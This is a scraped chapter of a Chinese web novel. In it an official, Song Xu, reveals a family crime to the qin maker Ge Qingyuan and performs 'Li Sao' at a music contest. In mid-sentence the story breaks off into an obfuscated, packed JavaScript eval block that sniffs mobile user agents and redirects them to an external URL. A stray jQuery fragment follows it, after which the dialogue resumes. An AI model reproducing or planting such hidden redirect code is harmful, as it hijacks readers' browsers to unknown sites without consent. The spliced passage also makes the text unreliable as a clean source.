文趣网 > 其他小说 > 桐溪琴话 > 26. 苍兰
    “宋大人?”顾墨上前拉住宋叙的衣袖,“大人,求你救救我吧,爹爹要是知晓了我的琴艺并未精进,还在大庭广众之下给他丢脸,这我岂不是搬起石头砸了自己的脚吧!”

    宋叙假笑着推开他的手,“顾公子,请上座。”

    顾墨见宋叙如此不近人情,于是气鼓鼓地坐在琴前,眉头紧锁,眼睛直勾勾地看着琴谱,额头上还冒着细碎的汗珠。

    “葛姑娘,这《离骚》虽然我没学过,但我听过啊。屈原身处乱世,满腔报国之情却遭奸佞排挤,这曲《离骚》哪怕是哀愁伤感却也透着清正刚直的底气。如此孤愤之曲,我这等小儒,只怕要毁了这曲,还要搭上葛姑娘您这把琴!”顾墨说得倒是没错。

    “顾公子,当真不会?”葛青沅的眼神逐渐转向宋叙,“大人,您觉得如何?”

    顾墨坐在一旁,嘴角微微上扬,“既然青沅姑娘早已猜到了,那姑娘意下如何?”

    “什么意下?猜到什么了?”顾墨没摸着头脑,不过却眼含惊奇,“难不成,宋大人这是专程来帮我的?”

    宋叙起身,轻挑食指,顾墨便高兴地坐到一旁。

    “为何偏偏是《离骚》?”宋叙一手翻动着琴谱,一手轻抹三弦。

    葛青沅将篮子里面蒲团拖到宋叙的对面,缓缓坐下,一手撑着下巴,一手挑起四弦,“宋大人,不是不会抚琴吗?”

    宋叙忽而想起从前假扮书生,渴求拜师学琴的场面,顿时耳根子红润了起来,“往事而已,青沅姑娘不如先回答我方才的问题。”

    “宋大人如此慧心,想来心中已有答案了。”葛青沅嘴角微微扬起,眉毛轻挑道。

    宋叙没回答,只是抿着唇,可那眉眼却也弯了几分。

    一旁的顾墨迷迷糊糊的,也不知道两人在说啥,“二位说的琴曲?不对不对,我怎么听不明白了?”

    “顾公子,既然无事,那便先在外头候着吧。”宋叙垂下眼,缓缓道。

    顾墨看了两人一眼,随即做出恍然大悟的神情,偷笑着出去后,还不忘将门关好。

    “大人,我想我们有的谈了。”青沅道。

    “哦?找到了?”宋叙似乎早已知晓了一般。

    “嗯。大人为何听到是《离骚》后才进门?”青沅的直接,倒是打了宋叙一个措手不及。

    “青沅姑娘如此聪颖,想来心中已有答案了。”宋叙将双手轻轻搭在琴弦上。

    葛青沅扯了扯嘴角,“方先生可是宋大人旧识?”

    “算是吧。”宋叙说完这话后顿了顿,然后开口道,“青沅姑娘,可想好彩头了?”

    “大人如此有信心?”

    “我自然是对青沅姑娘,的琴有信心。”宋叙故意停顿,似乎想让青沅误会什么,不过葛青沅根本不上当。

    随后青沅轻轻牵起宋叙的右手,有些冰冷的指尖在宋叙温热的手心中,缓缓写下,“寒虚山庄”。

    宋叙收起笑意,眼神看向手心时,不禁有些跑神儿。

    “大人?”青沅问。

    宋叙回过头来,恢复了笑意,“青沅姑娘,兰荷已到。”

    只见谷林和兰荷从房间另一侧的窗户中进来。

    “姑娘!”兰荷着急跑上前,贴着葛青沅的耳根子说道,“姑娘,是老爷。”

    “什么?”青沅更多的是不相信,“你说的可是我祖父被……”

    青沅没敢继续说下去。

    宋叙让谷林将查到的东西以及话都交代给他,然后让他在门口守着,不许任何人靠近,只说:宋大人在熟悉曲子,不许任何人打扰。

    “姑娘,今日我去葛府找了几位年长的嬷嬷,可她门都说不清楚。随后谷大人找到我,带我去了江南院子,找到了曾在葛府当差都浆洗嬷嬷,起初他什么都不愿说,后来谷大人给嬷嬷看了一个什么东西,那嬷嬷竟然松口了,说两年前,葛家主自京城回来了后,便因逢寒气,落下病灶。本是可医治,老爷起初也到处问药,可竟然不足半月,那浆洗嬷嬷偶然看见一位身着官服的男子进了老爷的房门,至此之后,老爷便不再求医,甚至下令不许任何人去探望家主。所以……”

    兰荷没再说下去。

    宋叙接过话,“所以,葛老才会因病而去。故而此话无任何缝隙。”

    葛青沅眼眶泛红,指尖快要嵌进肉里,“此话当真?”

    “姑娘,虽然我也不想相信,但那浆洗嬷嬷是…….”

    “是谁?”

    “曾经说大娘子房内的。”兰荷说。

    “宋大人,两年前,京城哪到底发生了何事?”青沅的胸口剧烈起伏,指节攥的发白。

    宋叙眉尾微微一皱,“青沅姑娘,隔墙有耳。”

    葛青沅闭眼,深吸一口气。

    “那大人,可还有何我不知晓的,你一并告诉我吧。”

    宋叙将老陈给的那封信一起递给青沅,是陈芸芸写的,忏悔书。

    忏悔的是自己不孝,忏悔的是不该了结肚子的生命,忏悔的是,不该错信他人;更不该为了替徐虽凑钱,编造了许多谎言。

    里面清楚的写着,让他的父亲老陈向葛石要回那三十两银子后,此事就此作罢。

    而那个他人,明明白白指向了,葛石。

    葛青沅的手在颤抖,他怎么也想不到自己的父亲竟能做出如此之事!

    “大人。”青沅的声音颤抖着,“如何判?”

    “按和奸罪处,杖八十。”宋叙说。

    “只是,八十吗?”青沅的嘴唇抿成一条线,肩膀微微抖动。

    兰荷在一旁狠狠捶了一下地面,“姑娘,怪不得,陈芸芸将手帕塞我身上时,里面裹着一个像石头一样的泥巴。”

    原来,在那时,陈芸芸就已求救过了。

    至于为何后来陈芸芸不告诉青沅肚子里面的孩子是谁的,也许是对青沅的救命之恩有或者对葛山心生愧疚,她不想让两人失去父亲吧。

    所以她甘愿认下自己是自愿的。

    “信中提到,她并非被刻意胁迫。”

    “大人,一刻钟已到。”谷林通传。

    宋叙从袖子里拿出一张手帕,递给了青沅,“此事,待比试完后再说。记住,提防方。”

    说“方”字的时候,宋叙没说出声,但能从嘴形看出来。

    葛青沅想到兰荷说浆洗嬷嬷见到一高官找过葛石,于是脑海里浮现出了一丝想法。

    宋叙跟看穿了她似的,轻轻拍了拍她的肩膀,在她耳边轻声说道,“不可贸然行事。”

    “两位琴师已准备好了,那么,就此开始吧。”夫子宣布。

    “葛山,去吧。”林婳抢话,让葛山先上去。

    葛山一曲《高山》稳步推进,在场众人都被葛山拉进琴曲的意境中。

    那琴着实妙,冰弦比寻常民用弦的声音更为脆响,更为绵长。

    “好!好!”夫子捋着他那白花花的胡子,笑意盎然地看着葛山,“老夫也是有幸听到这京中贵人们用的妙琴了,葛学子,琴艺也

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691365|206503||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    如此娴熟了,不错,不错。”

    “葛学子不愧是琴艺世家。”方先生开口道,不过那笑意有些瘆人。

    葛青沅将琴放好后,便请宋叙上座。

    “哦?有趣,宋大人亲自出马?莫要抢了顾大人的风头才是。”方先生的嘴角留下一抹意味深长地笑意。

    顾知县那见过这样“暗流涌动”的场面,赶紧起身说,“方先生过誉了,是犬子琴艺不佳,唯恐扰了先生的耳。”

    方先生尖声细雨道,“诶~顾大人快请坐,既如此,那便有幸能听宋大人奏上一曲了。我也好奇这非冰弦做出的形似冰弦的琴,究竟能发出怎样的音色呢。”

    宋叙闭眼,深吸一口气,提手后轻抚。

    起手时琴音低缓而绵长,只叫人觉孤苦而无依;忽而急促,时而婉转,愤懑起伏之时,上下而求索;曲调骤然空灵,似乎让人放下从前的愤懑,只是不长,待琴音回落低沉之时,眼前顿觉萧瑟与苍凉。

    琴音已结,在座的人沉默不语。

    夫子的眼中似乎有泪光,扶着身旁的柱子缓缓起身,“好一曲《离骚》,孤高而厚重,伏清白以死直兮,固前圣之所厚!

    宋叙起身,缓缓行礼。

    方先生不语,只是带着一丝玩味的表情看着宋叙。

    “宋大人奏的这曲《离骚》让人听完只觉孤愤啊!”顾知县说完狠狠叹了一口气。

    “老夫多嘴,敢问宋大人为何选此曲?”夫子问。

    宋叙看了一眼青沅,随后眼神落在方先生身上,“宁溘死以流亡兮,余不忍为此态也!”

    “说得好!”顾知县擦了擦眼泪就开始鼓掌。

    方先生的笑意消失,手上的拳头攥紧了几分。

    “您说的对吧,方先生?”宋叙又道。

    方先生用力挤出一个笑容,“当然。”

    “敢问葛姑娘,此琴何名?”夫子问道。

    “此琴乃是我祖父在时未能做完的一把琴,许久我也不曾拿起。而后机缘巧合下,顾墨公子定下这把琴,故而此琴其实是顾墨公子的。”青沅侧身,“顾公子,何名?”

    顾墨忽然成为视觉中心,有些不自在。

    不过他想了一会儿,开口道,“苍兰。苍有山河苍茫、浑厚之意,而兰则为清风白骨的象征。恰好这琴身上刻着玉兰花,正应了这高贞坚守。此琴,也是我送我父亲道生辰礼,愿父亲能做一个为民为苍生道父母官!”

    顾墨话音一落,夫子便言“好!”

    顾知县眼里有泪,半晌都说不出话来。

    “宋大人既已参与其中,那便不能评议。”夫子行礼道。

    “在下知晓,故而,我带了一人替我,锦衣卫指挥佥事,谷林。”宋叙示意谷林上前。

    谷林行礼。

    夫子点点头,“那便请谷大人,方先生,顾大人随老夫到假山之后商议。”

    四人走后,学子们这才活络起来。

    “宋大人这曲选的甚好,这弦倒是附属之物了。”林婳上前说道。

    “我们认识阿璋的时候,他的琴艺已然达到高超的境地,只是许久未听,今日有幸再次听到,阿璋你还是那个……”萧辰话没说完,就被宋叙堵了回去。

    “好了,现如今不是说这个的时候。”宋叙起身坐到青沅旁边。

    “唉,好吧,有人要避嫌,阿璋真是伤了我的心了。”萧辰拉着正要跟青沅说话的林婳,回到对面的长椅上。

    “评议已出,胜者是……”